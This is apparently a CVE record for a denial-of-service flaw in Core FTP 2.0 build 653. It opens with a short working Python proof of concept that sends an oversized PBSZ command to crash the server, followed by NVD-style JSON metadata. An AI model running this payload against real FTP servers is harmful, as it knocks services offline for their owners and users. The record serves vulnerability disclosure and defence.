CVE-2019-25686

import socket def exploit(host, port): try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) # Receive banner s.recv(1024) # Send malformed PBSZ command (Payload > 211 bytes) payload = 'PBSZ ' + 'A' * 212 + '\r\n' s.send(payload.encode()) print("[+] Payload sent") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit("TARGET_IP", 21)

{"cve": {"id": "CVE-2019-25686", "sourceIdentifier": "[email protected]", "published": "2026-04-05T21:16:47.310", "lastModified": "2026-04-09T19:03:17.493", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Core FTP 2.0 build 653 contains a denial of service vulnerability in the PBSZ command that allows unauthenticated attackers to crash the service by sending a malformed command with an oversized buffer. Attackers can send a PBSZ command with a payload exceeding 211 bytes to trigger an access violation and crash the FTP server process."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-306"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:coreftp:core_ftp:2.0:build_653:*:*:*:*:*:*", "matchCriteriaId": "EA10948B-CE3E-4DDD-99B1-AC5EBF028E1A"}]}]}], "references": [{"url": "http://coreftp.com/server/download/archive/CoreFTPServer653.exe", "source": "[email protected]", "tags": ["Product"]}, {"url": "http://www.coreftp.com/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/46532", "source": "[email protected]", "tags": ["Exploit", "VDB Entry"]}, {"url": "https://www.vulncheck.com/advisories/core-ftp-build-653-pbsz-unauthenticated-denial-of-service", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}